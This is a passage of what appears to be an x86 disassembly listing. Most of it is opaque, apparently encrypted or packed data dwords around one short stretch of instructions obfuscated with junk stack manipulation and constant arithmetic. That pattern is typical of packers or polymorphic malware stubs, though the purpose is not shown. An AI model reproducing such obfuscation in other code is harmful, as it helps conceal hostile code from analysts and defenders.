		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 1E9C351h,	0DA117BBFh, 10E9503Dh, 33000000h
		dd 965BD74Ah, 0E266F1A9h, 4CF40401h, 5E6AD8FDh,	0C7FEBF0Fh
		dd 6111185h, 5ED406h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0FFCB408h, 687h, 25B58900h
		dd 0C706060Fh, 62E4985h, 6, 0CE800h, 0E51A0000h, 7112863Ch
		dd 112B5DCFh, 0C38B5929h, 0F1B5FF58h, 6A06062Eh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0EA8AC356h, 0B6B3799Ah, 0EE9h, 0FCEF9600h, 79FA118Ah
		dd 0C38D6D53h, 0FF3EF9ACh, 6079195h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B70FE3A5h
		dd 0FF006AC0h, 61AC995h, 0EBC08B06h, 0CE66151Fh, 9E40B4B1h
		dd 54076435h, 6AF9C063h, 0AE5A6998h, 0C773BF51h, 0B0775C70h
		dd 2D798CB7h, 8CA48D8Dh, 6A060Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8D89CCC3h, 60628DDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 95C35343h
		dd 49BC1D69h, 111185C7h, 58740606h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 85C724C3h
		dd 6062E49h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 6C35545h
		dd 0F08BB3B2h, 2D3DB5FFh, 6A0606h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 95FF68C3h, 6060791h
		dd 2FCD9589h, 6A0606h, 1AC995FFh, 0C08B0606h, 8D951AEBh
		dd 0F30996FBh, 0F300173Fh, 423FB884h, 0A3F7BEDEh, 6A4A8C12h
		dd 0C4A8898Bh, 13E8h, 0DFF43500h, 73944E60h, 621D7F0Ah
		dd 0AB070137h, 0F86E0861h, 310D8D89h, 665B0606h, 8132D3B9h
		dd 63F3C3h, 3894BA00h, 0B8BE7DD6h, 8132BE03h, 0BE1B7BF6h
		dd 0C880F32h, 0F000000h, 685h, 0E98D8900h, 0FF060610h
		dd 0C860F33h, 0E9000000h, 7, 50BE2170h,	5FC3E951h, 24E18D8Bh
		dd 0C7810606h, 36E330C1h, 81D08B66h, 0FCD804C7h, 9E928h
		dd 0E8F30000h, 0F44C5D76h, 815BC714h, 0B0F134EFh, 5958B7Ah
		dd 57060621h, 8D09038Fh, 6062E21h, 94C9EB81h, 958913FFh
		dd 6061F15h, 94C5C381h,	0E78A13FFh, 2A850F4Eh, 0E9000000h
		dd 0Dh,	2297FACFh, 157D5512h, 4B272655h, 26E92Ch, 4A6D0000h
		dd 0ECB116C1h, 0B513A84Eh, 7713A289h, 0B38D5D11h, 8529600Ah
		dd 60631C1h, 0FF61E961h, 0CA7AFFFFh, 106D5CA6h,	0AE8h
		dd 76072600h, 486C7DC2h, 8B43AA2Ah, 6007985h, 9D015906h
		dd 6063371h, 5D01C181h,	0B58B0000h, 6060B85h, 68h, 13E900h
		dd 0C49B0000h, 0F2E313Bh, 30005E6Ah, 76D30D94h,	0CB102966h
		dd 0BD895B44h, 6062DDDh, 0F0B34FFh, 687h, 0C5858B00h, 5F06061Ah
		dd 11E960h, 14820000h, 68258845h, 4258BED9h, 0E5063731h
		dd 0B455F710h, 0C78161D0h, 0DC0F6CAh, 0C3F7BA66h, 2C7BC781h
		dd 0BD01470Dh, 606048Dh, 0DD17EF81h, 0E9521FC7h, 6, 0FDEDA0C3h
		dd 575889CFh, 23C99523h, 48F0606h, 0B70F6019h, 2EE681C6h
		dd 61617DC5h, 2AC4BA66h, 0E902EB83h, 12h, 7DAA246Ah, 0DFD97B44h
		dd 5DB1E9FFh, 0A43AD8EDh, 4B4BA235h, 81F3BF0Fh,	0FFA410FBh
		dd 17850FFFh, 0F000000h, 286h, 0E9C78B00h, 2Ah,	988F15EFh
		dd 0D3427254h, 8E8C75Dh, 46000000h, 7C801190h, 8BBD577Ah
		dd 6259995h, 39E95A06h,	0C5FFFFFFh, 4A58A98h, 8D8DE5C8h
		dd 60C8F63h, 28DD8D89h,	13E90606h, 7B000000h, 0F55301CBh
		dd 4947C031h, 0CEFC93ABh, 6ECD776Fh, 85C7C82Bh,	6061111h
		dd 71E0h, 1C819D8Bh, 85C70606h,	6062E49h, 0
		dd 1F18B66h, 607118Dh, 0EDB5FF06h, 6A060625h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 5E16C351h, 6840F14h,	89000000h, 62461B5h, 8D0F06h, 89000000h
		dd 62A6585h, 9195FF06h,	8B060607h, 62C6185h, 0FF006A06h
		dd 61AC995h, 0EBC08B06h, 430D845Fh, 0AF816DFFh,	9F714218h
		dd 0CF3F5BEEh, 2182C3BBh, 413ACF58h, 3CE4AA55h,	0B3EC8497h
		dd 382373DBh, 79B713E2h, 2C78BC76h, 3B16FB0Dh, 387441CBh
		dd 0F9FB6E5Dh, 29E2BE23h, 0B1A62934h, 0E0D0DE1Ch, 383C77D8h
		dd 9BC21CD5h, 41C9AA38h, 0A3EA8D4Ah, 4FA05597h,	713E9164h
		dd 0F757E4A3h, 6E8h, 0F224B200h, 8BBA7AA1h, 60EF985h, 0B7B85906h
		dd 814B21B4h, 68D7C1h, 2BC78B00h, 7D8D89DBh, 8B06061Ah
		dd 8166193Ch, 81A1C4D8h, 58A630C7h, 0BDB50B0Eh,	81060617h
		dd 0B14DDEFh, 14E948h, 6D580000h, 91A0B7F4h, 0CD24E362h
		dd 0CA6D7E2Dh, 13E9819Fh, 0EF81C7E4h, 7C929727h, 0E857D68Bh
		dd 0Ah,	0C97144C3h, 3280A7FEh, 858B14CFh, 6062381h, 19048F58h
		dd 354EC081h, 0F50281Ch, 38Dh, 0D78B6600h, 0A7EB8158h
		dd 662CD461h, 96CAD081h, 61A3C381h, 0E6812CD4h,	73AC99C1h
		dd 9808FB81h, 850FFFFFh, 1Ch, 0E9D78B66h, 30h, 80F755ACh
		dd 7BB00BE2h, 8CE2B3E5h, 0FBD3603Ah, 0A24171ACh, 314D9D89h
		dd 50E90606h, 9BFFFFFFh, 57E11EF2h, 0C80E45EAh,	5C5D065Fh
		dd 109415D2h, 0EE8h, 2FEFDF00h,	5C1381E9h, 5809CDC8h, 6604DD27h
		dd 6659C28Bh, 3AC9EA81h, 6E5AC181h, 858B0000h, 6060421h
		dd 9529DB33h, 6060151h,	8B0B34FFh, 62B1D95h, 0F7815F06h
		dd 1F9A56A6h, 81C0BF0Fh, 7A462DEFh, 4DB86669h, 0A9C7814Ah
		dd 0F3F7909h, 0B257C7BFh, 19048F34h, 0B4A738B8h, 4D9D3139h
		dd 83060614h, 3BB804EBh, 814568B0h, 0FF9218FBh,	0B5850FFFh
		dd 0E8FFFFFFh, 8, 0AE768BF9h, 648C7435h, 54BF59FCh, 815A9B66h
		dd 6A93C1h, 358D8900h, 2B06061Bh, 19048BDBh, 0B9D8D89h
		dd 0C0810606h, 3ADF81C1h, 2BF7E881h, 8B663A3Eh,	0CCE881FAh
		dd 8B2F7A72h, 60371B5h,	8D295006h, 6060D65h, 0F19048Fh
		dd 0BD8BD1BFh, 6063159h, 3104EB83h, 616419Dh, 0D8FB8106h
		dd 0FFFFF95h, 0FFFFB485h, 0A99D09FFh, 8206061Ch, 889A075h
		dd 0DC781469h, 73EF8DA6h, 2E863623h, 908635A1h,	4813D925h
		dd 99053025h, 14802CBCh, 81023F25h, 7863025h, 44861598h
		dd 0A5893023h, 9086305Eh, 4947B5E3h, 0CCC83623h, 12863021h
		dd 0A1C4E765h, 0A0C2BB75h, 0CB86BB21h, 79821461h, 8C1F85DAh
		dd 0CD0B3623h, 228F4A59h, 0E20DE0DAh, 847B5E3h,	0ECC83623h
		dd 0DC7338B8h, 82A234A4h, 6F8F7DEBh, 4E861590h,	5803BD23h
		dd 0ED80395Fh, 0B07EBBF5h, 84863035h, 428638CCh, 0A4899625h
		dd 9086302Bh, 474F3B6Ch, 0DB79C0A0h, 128BD9DAh,	940B3025h
		dd 82807EF7h, 4286359Dh, 0AC65CF25h, 9C17AE98h,	2C0BBD23h
		dd 9C803CB7h, 94B61537h, 8247FF0Eh, 889A075h, 0DC781469h
		dd 73EF8DA6h, 2E863623h, 908635A1h, 4813D925h, 99053025h
		dd 5E983BCh, 22B9A4F3h,	8D000000h, 0C93718Dh, 89D88B06h
		dd 628DD8Dh, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 3C239731h, 0D59589A4h, 0C7060601h
		dd 6111185h, 609406h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 8DE00B32h, 0B1958918h
		dd 60060604h, 65BD8B56h, 5E06062Eh, 2359BD89h, 0C7610606h
		dd 62E4985h, 6,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0B58B8DCFh, 6062EE5h
		dd 12F5B5FFh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0BAC275C3h, 0D367BBB4h, 95FF3E7Bh
		dd 6060791h, 0FC0B70Fh,	684h, 0B5953100h, 6A060633h, 0C995FF00h
		dd 8B06061Ah, 0F848EBC0h, 3EB89D22h, 6F128CDAh,	770545CBh
		dd 8FC1F563h, 1A2E0294h, 0B6ACA96h, 5A87ECB8h, 0F2D273DCh
		dd 6EA5D4CFh, 37963193h, 0E29311D5h, 0CD1C2EACh, 989A23B5h
		dd 7637A179h, 9D3A43B2h, 7F2E2140h, 0DB313E51h,	0E8103329h
		dd 0Bh,	55EC2678h, 8CA91BB7h, 595AAA0Bh, 0AEA0B8BFh, 94C18139h
		dd 50000075h, 6800Fh, 958B0000h, 6062C2Dh, 0E9F62B5Ah
		dd 8, 8E6F2FC5h, 851BD380h, 8131048Bh, 1E4447F0h, 0F8606019h
		dd 288DBD8Bh, 89610606h, 616899Dh, 0E8816106h, 456C3997h
		dd 81F98B66h, 3077E9E8h, 12E834h, 26A40000h, 82953190h
		dd 2C1391B3h, 0D1F33B1Eh, 10DD5BF4h, 0D036BF66h, 3104895Fh
		dd 3D858B60h, 0E9060603h, 0Ah, 305B692Bh, 5F254979h, 0E961539Dh
		dd 0Eh,	1364C148h, 666047B1h, 0C4405A63h, 0EE8327CEh, 798D0902h
		dd 4E060627h, 1185014Eh, 81060620h, 0FF8B4CFEh,	0F850FFFh
		dd 0F000000h, 19E9DAB7h, 96000000h, 0BA55D1E2h,	0BD8B3FEDh
		dd 60631D9h, 0FFFF57E9h, 0C03512FFh, 0E672F01Bh, 656E04EBh
		dd 0B2E9242Fh, 0E8000008h, 82A002A1h, 2644A605h, 0C8E6485Fh
		dd 6785E7BCh, 2B26881Bh, 0ADF68C42h, 4C5B2D4Bh,	0ECB7CCEAh
		dd 911A6C8Ah, 2459DA2Fh, 33D10F99h, 581455Bh, 2DC47BBBh
		dd 0FEBFF405h, 342DC47Bh, 0A40F489Ch, 8DEE4BBAh, 48ADD967h
		dd 758E991Dh, 0DD3FA08Fh, 3385B74Eh, 11F41506h,	75D43271h
		dd 0CF24EE14h, 9F0136C7h, 952BC30Ah, 0CAB8D634h, 51E877D9h
		dd 96EFA947h, 3B52B10Fh, 91B75D90h, 0CA288303h,	40D1DAACh
		dd 14755BA9h, 0A0C05259h, 0CF9BC1E2h, 79D7D6B1h, 1E7C275Bh
		dd 4B7531DFh, 8D7432E0h, 0B948AAF9h, 1A406F19h,	0F3D75898h
		dd 8CF898AEh, 5C69F117h, 0A5000000h, 5DBBE89Ah,	0E5A1433Fh
		dd 9E0765C6h, 374BB6F0h, 0E47B0A6Ch, 0C653C790h, 95173D0Ah
		dd 0A8EE445Bh, 168DF595h, 0BAE99AB8h, 769CFD5Ch, 2AEEh
		dd 7958EF00h, 3546F2BEh, 9A85496Fh, 1B88FCE8h, 2DCD5CBAh
		dd 94F35158h, 7C754B6Eh, 0E5832DC4h, 614240C1h,	1A5FFFh
		dd 9A8B0000h, 0AA5DBBE8h, 2DC47C15h, 50B1F513h,	0B10C4132h
		dd 432DC47Bh, 0CB1F81E2h, 6811829h, 0BEFD1701h,	7B4E6F24h
		dd 3D9E2DC5h, 7B4677ACh, 45A62DC5h, 3938551Fh, 0A2015F4Eh
		dd 89FB041h, 51B60AB5h,	0E6D78CD3h, 62DC556h, 0A40385A5h
		dd 0C2C1E746h, 0C346E38Dh, 52B0112Bh, 82225134h, 0D0EDA201h
		dd 6133CB46h, 0C6258322h, 45A70869h, 0E9475E27h, 0A132728Fh
		dd 0C922F46Ch, 7FDD3E31h, 24822161h, 1F697F06h,	72D33290h
		dd 0D3D3F114h, 0CE58337h, 0FF6089B9h, 8E02A4D2h, 0F01097EEh
		dd 5CEA1093h, 52E97A29h, 2D78DCC7h, 0DEAED478h,	4DDEC5C0h
		dd 0B3CAD9ADh, 0A4F2EB71h, 5F2B5178h, 0C4BB01ACh, 35719F2Dh
		dd 1ABAB9CCh, 84E3416Eh, 0C4BAEECFh, 3C9DFE2Dh,	5E86DAh
		dd 8929AC02h, 0B884AAF9h, 0BFEC9A64h, 29C95869h, 62264C5Bh
		dd 0ED415AA6h, 2DFF96ABh, 4CC23E20h, 4C5DE50Bh,	99000000h
		dd 7102005Eh, 1F2E50DAh, 7AA08771h, 0C9F429B6h,	2B2DC47Bh
		dd 182974CAh, 0C47BDAE3h, 93B91A2Dh, 3D728394h,	2DC47C80h
		dd 29ED1374h, 85FDEB9Ah, 61C01Eh, 291468AAh, 84AAF989h
		dd 1F74h, 0E2CE6500h
		dd 868355A4h, 5E10D4FAh, 29AC0200h, 0C47BC9F4h,	2D83522Dh
		dd 0EB9A5329h, 146866BCh, 2EBFEC9Ah, 89AFF48Eh,	0FB050ABDh
		dd 79272DC0h, 3AB2D42Dh, 0DFFD5B48h, 44A301A4h,	22082E3h
		dd 0A7C52380h, 4C6AC8DBh, 0CFD6AD37h, 90F2106Eh, 0C876B513h
		dd 407DB2DEh, 0B42DC8FDh, 0F687F253h, 0FD0DB0E5h, 7EDF2DC8h
		dd 976A3C58h, 1627B8EBh, 0C8FCDCE1h, 89AF102Dh,	0F649A7B9h
		dd 231EA8F1h, 5A000000h, 0DAE31829h, 1A2DC47Bh,	810593B9h
		dd 156AC422h, 0DD477C0Dh, 0CF2BC27Ch, 23D1106Eh, 9B087E83h
		dd 0EC9AE539h, 0EA0761BFh, 28E727F4h, 0C9DEC84h, 0C52DE6D7h
		dd 44A5062Dh, 1A927EB3h, 3B4C2BC3h, 0CB29B706h,	651D3D33h
		dd 2081E03Eh, 6CCE2FFAh, 2005E18h, 37B5D171h, 99F8564Dh
		dd 294E1238h, 89F6FB89h, 0D47B7EABh, 4F1B41A2h,	0BFEC9AFBh
		dd 0A6045869h, 0ABED415Ah, 320Dh, 196E0E00h, 5EA0648Ah
		dd 0F93A4C00h, 2D5706ADh, 0F42976CCh, 2DC47BC9h, 9939CA2Bh
		dd 0D69AC0EFh, 0B781829h, 9AAE7298h, 6866BCEBh,	501814h
		dd 5E440000h, 29AC0200h, 950E7818h, 7C714C6Fh, 1CAA2DC4h
		dd 7DDC3A69h, 9AEB8B1Ch, 2921E50Bh, 8CEB9A53h, 0D18B5CF5h
		dd 934817DDh, 2DC4E42Ah, 770869CAh, 0E48C3166h,	0EFA62DC4h
		dd 76F78011h, 0E4A1C11Eh, 9ED364C5h, 2DC4B31Fh,	8A4E74D5h
		dd 0EC9A1468h, 0F48E2EBFh, 0ABD89AFh, 2DC0FB05h, 8663D48h
		dd 0B10F9CEAh, 724E5886h, 0DE238331h, 0CA6AFBA8h, 3493F1BEh
		dd 62203E0Eh, 0BDC5E341h, 0E9475E27h, 8A196A8Ah, 0B462CB29h
		dd 30730FF2h, 0F634BCCEh, 0ABBCA8F1h, 0C9094776h, 264CAD2Dh
		dd 329Eh, 0EC9ADA00h, 0EA0761BFh, 30E419AAh, 222BC268h
		dd 0F89030C1h, 0AF109BECh, 0D07EBD89h, 505B2BD6h, 8B641FBFh
		dd 729254A1h, 2242A336h, 8CEB4966h, 29429666h, 7BDAE318h
		dd 0B91A2DC4h, 7BCAF328h, 0C92A2DC4h, 327115A3h, 0DDA545D4h
		dd 0E30968C6h, 2BBCC419h, 0C25416F6h, 59BB1C2Bh, 2005E05h
		dd 2DCD5CACh, 672B5158h, 8600EC9Ah, 2081265Eh, 45869BFh
		dd 0AEFD8929h, 40FA0688h, 56F6ABEDh, 0B8177532h, 3F0A92h
		dd 5E460000h, 29AC0200h, 0C1F60718h, 2DC47BFCh,	0E3DA8FF0h
		dd 92DC47Bh, 5E5F82A8h,	8E2DC47Ch, 5329D72Dh, 66BCEB9Ah
		dd 18291468h, 0C47BDAE3h, 0A2B91A2Dh, 0DF262749h, 102046B1h
		dd 3Ah,	2005E3Ch, 0C9F429ACh, 522DC47Bh, 53292D83h, 89FDEB9Ah
		dd 1728B91Ah, 0C1E2AE80h, 5005D6DEh, 2DC5536Dh,	4B9EE7Fh
		dd 0E82DC553h, 60952687h, 2DC5535Dh, 44082E8Fh,	0EC9A1468h
		dd 61AE61BFh, 6B2DC0FBh, 6E18E9BDh, 0D1B5D335h,	0C51A74D2h
		dd 285B89FEh, 2ABB1C7Dh, 3E8D8219h, 6F65A6A2h, 0C8A103BAh
		dd 0BEC9E92Dh, 0D13291EFh, 1177ACABh, 0E32BC68Eh, 29CC2082h
		dd 4FADFC89h, 1C8AD9F0h, 3CD2E543h, 0F0364C16h,	0FE89299Ah
		dd 0D2F251AFh, 3998F6B5h, 18B84713h, 4BDA386Bh,	0C47BA716h
		dd 8BEC4D2Dh, 0EC9AA165h, 0C95869BFh, 14061132h, 0C543DEDFh
		dd 96AD0E2Dh, 2F5546A8h, 0FA89296Bh, 0A90A99ECh, 51AFFE89h
		dd 0B64ACCF2h, 0B1ABED41h, 44h,	2005EEDh, 922B6071h, 622DC47Ch
		dd 2917DB01h, 0C47BC9F4h, 74CA2B2Dh, 0A781829h,	0BCDC3B99h
		dd 0F0B4DAC9h, 3006EB9Ah, 1CA137D6h, 0EA486721h, 73C92A8Bh
		dd 0ACFB8929h, 85ABF88Ch, 291871C5h, 44000000h,	0AC02005Eh
		dd 7BC9F429h, 83522DC4h, 0BF4E5BF2h, 0F145221Fh, 892907CBh
		dd 8A89AFFEh, 0AFD979h,	0EB9A16DAh, 146866BCh, 5A8FEC9Ah
		dd 2DC47C63h, 69C72889h, 724F43DAh, 79C428E0h, 660AB3E8h
		dd 89EA2DC5h, 0E5CF4063h, 50E12DC1h, 0A9CFD4B0h, 0D777198Dh
		dd 41CFF5B0h, 0E6046645h, 1F9ED3A0h, 0D52DC8E7h, 5BB51374h
		dd 386DFE06h, 2BC6BF50h, 0B5FC122h, 0D781829h, 7BDCE196h
		dd 364D2DC4h, 55B2116Fh, 0EE04CEF4h, 85C52A8h, 2EBFEC9Ah
		dd 51AFF48Eh, 0F3544F33h, 45809CDh, 0ED415AA6h,	370DABh
		dd 29490000h, 51AFFE89h, 0EC02CCF2h, 0A6079EE7h, 0C9F42950h
		dd 2B2DC47Bh, 532974CAh, 2BBCEB9Ah, 7BD8E51Ah, 0BB1C2DC4h
		dd 0EA7C79A4h, 0EE147991h, 1814682Ah, 52h, 16922944h, 5622490Ch
		dd 7D915B81h, 8929DF35h, 0EE4DABFAh, 2994C9C8h,	0F22DC47Ch
		dd 1829CD23h, 7BEBD207h, 463E2DC4h, 3E730461h, 2DC47C7Fh
		dd 9CB31475h, 0D02FBC3Ch, 15D9FF8Fh, 9DDB9229h,	846B9D94h
		dd 0EEB5D05Eh, 39D96898h, 0A0FF5D4Ch, 0EC9AB67Ah, 0EA0761BFh
		dd 0AF109BEBh, 74BBE91Eh, 6C7D2BC2h, 0CA8B8637h, 0DF056633h
		dd 8222B314h, 99AE804h,	0C5EB4AA8h, 0E469BF5h, 0CA8AE4D9h
		dd 9EE80833h, 0E748A705h, 0A8C0F586h, 9A31CEFEh, 0C9BDDB39h
		dd 0D8E978DAh, 0CF171AA3h, 5979DA2Dh, 0BF1E7C2Bh, 717B0B99h
		dd 95E5E116h, 56CBAF7Ah, 183897F5h, 7AD8396Ah, 0F24FA7C7h
		dd 8B1BC90Fh, 31931076h, 0D3087313h, 4FEDAFEAh,	0EA48A90Ah
		dd 8DEBB8CCh, 1E723462h, 0AFE5D80Dh, 41444FEDh,	7EA40562h
		dd 0AB0D96F0h, 4CAAF98Dh, 0C86626BDh, 6C635A8Fh, 28894FEEh
		dd 7BCC8811h, 0C4555h, 9F360000h, 32DF278Eh, 773B61B4h
		dd 0EF9A065Ah, 424462C0h, 96ED0B69h, 0F593B10Fh, 483A58B6h
		dd 0A3DFFD5Bh, 84A200h,	5E2745A3h, 0BCCBE947h
		db 0F1h, 93h, 1Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	5D79h
		mov	[esp], edx
		mov	ecx, 2C3244CAh
		or	ecx, 173B6696h
		shr	ecx, 1
		shr	ecx, 2
		shr	ecx, 2
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		xor	ecx, 0F80AB07Bh
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, ecx
		mov	[edx+8], ebx
		pop	ebx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54C1AD
; ---------------------------------------------------------------------------
		dw 9E1Ch
		dd 9CCAB839h, 0C503060Ch, 5F91E0FFh, 531F2FE2h,	0C7F138CFh
		dd 0F09C4C7Ah, 0C44951CCh, 56224838h, 0DB841338h, 4C095953h
		dd 55E16468h, 0F4C83376h, 0C95801F3h, 0DD9C309Ch, 6BE6240Ah
		dd 0FED54261h, 0A23A3470h, 983F6315h, 42D41BA7h, 0A09501EDh
		dd 0AF770D15h, 4D732E88h, 7E8115Ch, 2C000000h, 70FFB04Fh
		dd 0E9503824h, 0Fh, 8E22FBB9h, 7A21545Dh, 1A4E4E3Ah, 5A6486B6h
		dd 8166605Fh, 6158D8C3h, 685CC781h, 8B660000h, 92C2B9C7h
		dd 0C1815E54h, 0A1AB8728h, 0D7B70F51h, 0E937FF5Ah, 10h
		dd 8CB28925h, 2EA72CEAh, 644588E5h, 3423CF17h, 8198B75Eh
		dd 702421C6h, 28DB8153h, 8166B176h, 0E636CAF6h,	0FE941h
		dd 47D0000h, 0CF593D60h, 60E8ADB5h, 0A56E9FF1h,	0BBEE8120h
		dd 0B84AF4ECh, 51AF15C6h, 0CB816656h, 78FA0EBh,	6FCB61BBh
		dd 3EF8302h, 4FC68B66h,	0BE9h, 0CCB5EC00h, 27CF5B1Eh, 0EC42F5EAh
		dd 0F01E983h, 0FFFF8885h, 8DD4B6FFh, 0C9F368Dh,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0B6BF89Fh, 28DD8D89h, 6A0606h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 1779C6C3h, 5C7E3A8Ah
		dd 0BE18F2C5h, 58C6C2EFh, 111185C7h, 5BC00606h,	0D88B0000h
		dd 2E4985C7h, 606h, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 170424h, 56460000h, 8BA73FC3h, 9E894h, 0A6D00000h
		dd 0ABCCD0BAh, 66DC82B4h, 5EC336B8h, 25EDB5FFh,	95890606h
		dd 6061695h, 79195FFh, 958B0606h, 60613E5h, 95FF006Ah
		dd 6061AC9h, 5FEBC08Bh,	87ED7281h, 0E91A2335h, 55EF6586h
		dd 49CC4E28h, 910A2572h, 0C88B4B24h, 0E2C35B52h, 1407A4BCh
		dd 0C522B08h, 0DD71C78h, 0F4F37004h, 2B62C9EDh,	23E0C1ACh
		dd 944DAC57h, 0C8F215C8h, 0D2FC57B3h, 0D85F3AF5h, 41DB89DCh
		dd 50C79364h, 94679A40h, 60143F7Ah, 4136CC6Dh, 91C3A0B9h
		dd 8D55CA03h, 0CA0438Dh, 0DD8D8906h, 6A060628h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 1F44C355h, 148A0Fh, 0FE90000h, 40000000h, 0DAFF7A54h
		dd 9FBAAF13h, 30DDBBB1h, 85C728ABh, 6061111h, 612Ch, 0F598D89h
		dd 85C70606h, 6062E49h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 6CC35646h
		dd 2E99B5FFh, 8A560606h, 0EE95FF9h, 0E8000000h,	3695CDFCh
		dd 45BA7DD8h, 61641FDEh, 9195FF53h, 89060607h, 633D585h
		dd 0FF006A06h, 61AC995h, 0EBC08B06h, 3C76F928h,	0F1AC7B89h
		dd 0C5ED7833h, 3AC46CB9h, 98E737E8h, 9FE34B3Ch,	0FFFA6720h
		dd 28ACE45Ah, 6F8B00BFh, 0BF590DEAh, 518D8D0Bh,	0E8060CA1h
		dd 0Fh,	804652Dh, 0AD3C7ABBh, 27C05149h, 60E74335h, 11E9h
		dd 8A776600h, 7307999Ah, 0D9DD1AAFh, 0AF6C8A19h, 5B61239Dh
		dd 28DD8D89h, 0CE90606h, 0F7000000h, 6B01B372h,	65DC54E2h
		dd 0C76FCADDh, 6111185h, 5A6006h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 5A65C314h
		dd 0DA8B66B2h, 4985C7F8h, 6062Eh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0C385C350h, 92A877E4h, 49953142h, 0FF06060Eh, 62EF1B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 81BD89E9h, 0FF060600h, 6079195h,	6AD68B06h
		dd 0C995FF00h, 8B06061Ah, 6E1FEBC0h, 6F56BE2Fh,	2B16EBCFh
		dd 0D1AB17D0h, 9D3384FCh, 0DB48D3DFh, 6BC0E5B6h, 0CA423373h
		dd 11E8491Eh, 61000000h, 0CB99964Bh, 0E38D8DBFh, 665C3139h
		dd 2A470B27h, 10E852h, 24CC0000h, 0D8771464h, 5E600F84h
		dd 9BCC203Eh, 0BF665C52h, 595FA30Fh, 49B5895Bh,	8106062Dh
		dd 6802C3h, 0C38B6600h,	0BD8BD233h, 60621F5h, 8B1A34FFh
		dd 6213D8Dh, 95895E06h,	60617C1h, 1072F681h, 7E96A03h
		dd 0D5000000h, 0F3DCDAAEh, 0EE816B20h, 185E4807h, 0C2EE81F9h
		dd 0F22D22Ch, 68Ch, 69950900h, 56060620h, 100DBD01h, 48F0606h
		dd 0B1BD2913h, 8906061Ch, 628E5BDh, 2EA8306h, 2B69BD89h
		dd 4A4A0606h, 81FE8B66h, 0FF98BCFAh, 95850FFFh,	0E9FFFFFFh
		dd 0Dh,	0F0FE2825h, 0BFAF7E5Fh,	0FE5BFF01h, 0D38D8D41h
		dd 6A060CA2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8AF1C353h, 0DD8D89DAh,	8B060628h
		dd 614E9B5h, 1185C706h,	0FC060611h, 6A000066h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 2796C353h, 11E9BBBBh, 9B000000h, 0B8F37412h,	254D6F84h
		dd 1AC4CC5Bh, 1659B264h, 2E4985C7h, 606h, 73BA0000h, 0FF6FB8CDh
		dd 625EDB5h, 740CBB06h,	95FF28E0h, 6060791h, 0FF006AF9h
		dd 61AC995h, 0EBC08B06h, 6728C45Fh, 0F47A4372h,	1EFF9E2Ah
		dd 55F17664h, 12AB425Ah, 0BE148DA4h, 0B636FBEDh, 0EC647C4Ah
		dd 654D2F93h, 69433764h, 4BA61383h, 0C6E14BDh, 7C686234h
		dd 0C4DA0602h, 490B4118h, 0F2588E37h, 3F090A4Dh, 1519DAADh
		dd 0C886C289h, 27B70147h, 76FEB642h, 877A4C9Bh,	0E498FF48h
		dd 0A77F94EAh, 15FE9h, 0D48B5200h, 0E860h, 815D0000h, 0CA345EDh
		dd 8428B06h, 2638453Dh,	38850F78h, 8B000001h, 4A8B0C42h
		dd 0BBC8D318h, 6B2F37ABh, 0E883C333h, 0DD858904h, 8B060628h
		dd 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 8FFD84BEh, 2BC633AAh
		dd 0FCE083C7h, 8904E883h, 6111185h, 14428B06h, 2E498589h
		dd 428B0606h, 0B0E95318h, 0FF000000h, 62D3DB5h,	0B9E906h
		dd 0B5FF0000h, 60625EDh, 0AEE9h, 99B5FF00h, 0E906062Eh
		dd 0A3h, 0DF9B5FFh, 98E90606h, 0FF000000h, 62EF1B5h, 8DE906h
		dd 0B5FF0000h, 6062AD5h, 82E9h,	0D5B5FF00h, 0E9060614h
